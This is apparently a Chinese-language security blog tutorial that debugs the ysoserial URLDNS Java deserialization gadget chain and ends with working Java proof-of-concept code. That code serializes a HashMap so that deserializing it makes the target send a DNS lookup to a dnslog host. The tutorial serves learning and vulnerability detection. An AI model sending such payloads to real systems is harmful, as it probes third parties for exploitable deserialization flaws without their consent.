目录

URLDNS链分析

配置调试ysoserial

下载项目ysoserial:https://github.com/frohoff/ysoserial

idea打开,在pom.xml下载好需要用的所有依赖。下载依赖的时候一定要把配置文件全勾上:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604105647.png

下载完成,看到没有报错后,就可以开始调试ysoserial了。在 pom.xml 中找到入口类:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604105518.png

跟踪入口类,右键点击调试发现只会打印uage信息:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604114457.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604114511.png

这是因为我们没有传入参数,需要进行调试配置:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604115409.png

然后再次点击调试,发现序列化成功(呃,上面的地址需要加个http://头):

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604115621.png

然后就可以通过打断点对ysoserial的URLDNS链进行调试了。

URLDNS链分析

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

学了前面的java序列化,我们知道了要想利用反序列化漏洞就得要重写readObject,不然连最基本的反序列化都做不到。

ysoserial在URLDNS.java中已经写出了利用链:

    Gadget Chain:
      HashMap.readObject()
        HashMap.putVal()
          HashMap.hash()
            URL.hashCode()

先看URLDNS.java类(属于ysoserial工具自己的类):

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604122409.png

这个类继承了一个泛型为对象的接口,然后第一步先实例化了一个handler,SilentURLStreamHandler这个类继承了URLStreamHandler,并重写openConnection和getHostAddress方法返回空,这个作用后面在说。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604125643.png

之后创建hashMap、URL对象,然后将URL对象,也就是DnsLog的地址put进hashmap(这个put方法后面在跟进细说)。

然后通过反射调用重置hashCode的值为-1,再返回(作后面再说)。

可以看出:最终的payload结构是一个HashMap,里面包含了 一个修改了HashCode为-1的URL类。

跟进到HashMap

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604141656.png

可以看到HashMap是个泛型可以接受类,并且继承了Serializable接口,可以实现序列化和反序列化。

反序列化时会调用readObject函数,搜索发现这里重写的readObject()函数。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604144330.png

红框上面的就是一些对传入数据的检测,方法中最关键的就是红框部分,可以看出通过反序列化取出了k和v并对其调用putVal方法。

跟进行putVal方法没有什么好看的,就是把k和v放入table中。

回到readObject的putVal方法里面还调用了hash方法处理我们传入key。

跟进hash(),看到这个方法的内容并不多。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604145013.png

会先判断key是否为空,不是空就调用hashCode来获取值的哈希码(即生成哈希值)。这里让 key 为 URL 对象,那么key.hashCode()调用URL类中的hashCode方法:java.net.URL#hashCode,跟进一下。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604150630.png

如果hashCode不等于-1则直接返回,表示已经算过了,否则就调用handler类里面的hashCode方法。上面可以看到hashCode默认就是-1。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604150948.png

那么可以跟进handler的hashCode方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604151143.png

getHostAddress是获取ip地址,跟进一下getHostAddress方法,到达最终利用场景。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604180152.png

可以看到其逻辑,判断是否有主机名,有就直接返回,没有就执行getByName触发解析然后返回。

那么链子主要的就这些了,但怎么感觉这个链子似乎和我们的payload没有关系呢。确实没有关系,这里分析的URLDNS链是利用链也就是说可以传入payload到readObject进行利用最后会造成DNS解析。

ysoserial生成payload分析

这里生成paylaod是进行的序列化,利用的writeObject方法来把url进行序列化,从上面的URLDNS类不难看到其调用了hashMap的put方法,跟进put方法:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604193005.png

发现也是putVal方法,后面的就和readObject中一样了,会对url进行解析。但为什么在生成payload时明明调用了put方法却在DNSlog并没有收到请求呢。

回到最开始说的,发现重写了openConnection和getHostAddress方法使其返回为空,在调试时从put方法步过也可以看到直接到了return null,所以上面重写的目的就是为了防止在生成payload时发起DNS解析,至于重写openConnection方法的作用是实现类必须实现父类的所有抽象方法。但是如果看到我下面进行验证时会发现readObject在调用时为什么又会进行解析。

其实具体调用哪个类的getHostAddress方法是由handler来看的,跟进hanlder发现put时的handler是:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604220246.png

而在反序列化时,URLStreamHandler是由transient修饰的,被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler,所以最后还是调用的URLStreamHandler的getHostAddress方法。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604214801.png

那么生成payload时把hashCode设为-1又是为什么呢。这是因为在前面HashMap#put时已经调用过一次hashCode()函数,hashCode的值会改变不再为-1,那么进行漏洞验证传入readObject时就会直接返回HashCode值了。所以还得利用反射来让hashCode变为-1。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604215210.png

综上怎么感觉put这么麻烦又会触发dns解析又会让hashCode不为-1,就不能去掉吗?

这里就要看进行序列化时重写的writeObject方法了:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604221136.png

看到就是将对象的默认序列化写入到输出流和将 buckets 变量的值和size变量的值写入到输出流。还有就是有个自定义的方法,跟进看看:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604221859.png

可以发现它让tab值等于table值,然后从中取出键值进行序列化。那么这个table是哪来的呢?

就是put方法中的putVal改变的。所以需要调用put方法才能成功序列化。至于反序列就和table没有关系了,就是正常的进行反序列化拿到kv值。

ysoserial验证整条URLDNS链子

最后可以利用PayloadRunner.run()来进行一次完成的利用。

配置好参数后开始条调试:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604215512.png

继续向下运行,可以看到对payload进行了序列化,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240604215656.png

调用的序列化函数writeObject是hashMap重写后的

继续向下,接下来要进行的是反序列化。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240605121523.png

跟进发现调用的就是hashMap的readObject方法。

readObject后面的内容我们就熟悉了,上面也说了readObject下面调用的getHostAddress就是URLStreamHandler类的,所以最后执行会有一次解析,在dnslog平台可以看到。

至此工具ysoserial的由生成payload到执行payload的链子就这样了。

poc链调试

如果把ysoserial的整个URLDNS链理清楚了,其实就可以自己编写payload进行调试了。

poc:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;

public class URLDemo {
    public static void main(String[] args)throws Exception{
        HashMap hashMap = new HashMap(); //创建HashMap的对象hashMap
        URL url = new URL("http://2faede01.log.dnslog.biz."); //创建URL对象,含有我们的url
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //反射调用私有变量hashCode
        f.setAccessible(true); //使私有变量能够被修改
        f.set(url, 10086); //不为-1就行,不触发解析,ysoserial使通过重写getHostAddress来实现的
        hashMap.put(url, "gaoren"); //put入我们的键值,值随便什么都行
        f.set(url, -1); //修改hashCode为-1
        System.out.println(hashMap);
//序列化,参考java序列化
        try {
            FileOutputStream out=new FileOutputStream("dnsser.bin"); 
            ObjectOutputStream objout=new ObjectOutputStream(out);
            objout.writeObject(hashMap);
            objout.close();
            out.close();
//反序列化,参考java反序列化

            FileInputStream in=new FileInputStream("dnsser.bin");
            ObjectInputStream objin=new ObjectInputStream(in);
            objin.readObject();
            objin.close();
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

看上面的注释应该不难理解这串代码。因为使HashMap重写了readObject方法,漏洞在它,所以这里是创建的它的对象,调用它的序列化和反序列化方法。

进行调试:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240605151116.png

看到到了writeObject方法进行序列化。也就是ysoserial生成payload的步骤。

继续向下:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240605151249.png

看到是readObject了,进行反序列化触发链子了,这个就不分析了,和上面的一摸一样。最后在dnslog平台可以看到请求:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240605151413.png

也可以进行字节的序列化和反序列化:

import java.io.*;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;

public class URLDemo {
    public static void main(String[] args)throws Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL("http://2faede01.log.dnslog.biz.");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 10086);
        hashMap.put(url, "gaoren");
        f.set(url, -1);
        System.out.println(hashMap);

        try {
            ByteArrayOutputStream out=new ByteArrayOutputStream();
            ObjectOutputStream objout=new ObjectOutputStream(out);
            objout.writeObject(hashMap);
            objout.close();
            out.close();
            byte[] ObjectBytes=out.toByteArray();


            ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);
            ObjectInputStream objin=new ObjectInputStream(in);
            objin.readObject();
            objin.close();
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

如果有生成的payload想进行验证,也可以直接之构造反序列化的方法:

import java.io.*;

public class main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("out.bin");
        ObjectInputStream bit = new ObjectInputStream(fis);
        bit.readObject();
    }
}

跟踪调试,效果是一样的。

参考:

https://www.cnblogs.com/nice0e3/p/13772184.html#0x03-urldns%E9%93%BE%E5%88%86%E6%9E%90

https://www.anquanke.com/post/id/261724#h3-10

https://www.cnblogs.com/gk0d/p/16874157.html

https://www.freebuf.com/articles/web/327710.html

https://xz.aliyun.com/t/9417?time__1311=n4%2BxuDgD9AYCqGKDQeDsR32Ehei%3DttDRCBoD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-1